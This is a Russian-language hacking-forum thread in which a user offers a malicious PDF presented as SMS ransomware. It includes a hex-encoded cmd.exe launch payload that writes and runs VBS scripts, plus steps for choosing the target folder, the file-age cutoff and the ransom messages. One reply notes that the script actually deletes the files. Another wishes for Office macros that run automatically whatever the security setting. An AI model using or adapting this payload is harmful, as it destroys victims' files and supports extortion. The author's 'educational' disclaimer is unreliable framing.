• XSS.stack #1 – первый литературный журнал от юзеров форума

СМС вымогатель с помощью pdf

Ferut

CD-диск
Пользователь
Регистрация
20.04.2010
Сообщения
11
Реакции
0
Сначала расскажу про функционал пдф-ки, при открытии документа и утвердительном ответе пользователя на сообщение Эдоба,
(для примера в сообщение я написал VIRUS VIRUS, у нас же пример для образовательных целей))))
выскакивает сообщение "Для избежания шифрования Ваших файлов нажмите ОК!", вообщем-то для пользователе уже все решено,
даже если завершить Эдоб в диспетчере задач, выключить компьютер - ничего не поможет, файлы в папке которую мы указали
не только зашифрованы но и не видны на компьютере (это чтоб не бегали зря по "специалистам" со своими файликами). Дальше
если клиент не вышел из программы вылазит сообщение куда отправить смс-ку чтоб файлы востановились на диске.На этом про функционал
все, можно конечно добавить функцию заражения чужих пдф файлов, уменьшить размер до 1.5кб, или вместо шифрования файлов
поюзать классику - всплывающее, надоедливое окно. Теперь заточим пдф под свои нужды, открываем файл который приатачен
внизу текстовым редактором, сначала укажем папку в которой зашифруем все файлы (не папки, а именно файлы) ищем строку 34
и меняем C:\Program Files\QIP Infium на ту которая Вам больше нравится (можно добавть конечно несколько папок или все файлы с расширением jpg
, но это уже сами)итак заменили, идем дальше к строке 35 в примере цифра "2" - это возраст создания файлов который можете
заменить например на 30 и все файлы созданные тридцать дней и более назад будут зашифрованы. Дальше уже сами потредатирует выскакивающие
сообщения, если быть кратким все что написано русским шрифтом, можно менять). Пример тестился на Adobe 9.3 других версий нет, а искать лень,
по памяти на 7-ке работать на будет там несколько другой алгоритм ленч, акшен. После того как закончили редактирование замените расширение файла
на pdf, для стабильной работы поменяйте реферы (считаются байты от начала и до объектов) я считаю на акеле, впрочем кому как удобно есть спец софт
для работы с пдф-ками, менять название файла, нельзя, не будет работать, и если запущен другой пдф документ vbs скрипты выдадут ошибки. Да и напоследок
заметка написана только для ознакомления, помните открытие файлов с расширением pdf,doc,xls итд может привести к компроментации Ваших
данных. С Уважением, ко всем мемберам, Ferut.
 

Вложения

  • MyPoC.txt
    9.2 КБ · Просмотры: 122
/F<636D642E657865>/P<2F63206563686F205365742066736F3D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A6563742229203E207363726970742E766273202626206563686F2053657420663D66736F2E4F70656E5465787446696C6528224D79506F432E706466222C20312C205472756529203E3E207363726970742E766273202626206563686F2070663D662E52656164416C6C20203E3E207363726970742E766273202626206563686F20733D496E5374722870662C22275353222920203E3E207363726970742E766273202626206563686F20653D496E5374722870662C22274545222920203E3E207363726970742E766273202626206563686F20733D4D69642870662C732C652D732920203E3E207363726970742E766273202626206563686F20536574207A3D66736F2E4F70656E5465787446696C6528226261747363726970742E766273222C20322C20547275652920203E3E207363726970742E766273202626206563686F2073203D205265706C61636528732C2225222C222229203E3E207363726970742E766273202626206563686F207A2E5772697465287329203E3E207363726970742E766273202626207363726970742E766273202626206261747363726970742E7662730A0A0A0A0A0A0A0A0A5649525553205649525553205649525553205649525553205649525553205649525553>
что это?
как привести к нормальному виду?
 
Пример приведен для демонстрации возможностей pdf формата, что значит этот ряд цифр можете почитать здесь iso-32000-2008, если читать лень Вы знаете что делать))
 
Да, интересная вещь.. Найти бы способ автоматического запуска макросов в xls, doc при открытии документа, независимо от Security level..

замечание и пара вопросов:
файлы в папке которую мы указали не только зашифрованы но и не видны на компьютере
Нет. Данный vbscript удаляет все файлы старше указанной даты, а вовсе не шифрует и не прячет их. Что за скрипты в конце: batscript.vbs, script.vbs?
для стабильной работы поменяйте реферы (считаются байты от начала и до объектов)
можно поподробнее здесь: где их поменять и с какого по какое место считаются байты?
менять название файла, нельзя, не будет работать,
а почему? можно все таки изменить и что для этого нужно пересчитать?
 
Для того что бы изменить имя файла, найдите объект 8, там строка P <много цифр> это шестнадцатеричный код (Hex) перевидите в ASCII Text, там найдете имя файла, реферы считаются след образом количество символов от начала файла до начала объектов - подробнее iso 32000-2008, по vbs скриптам БРАВО!!! все правильно заметили.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх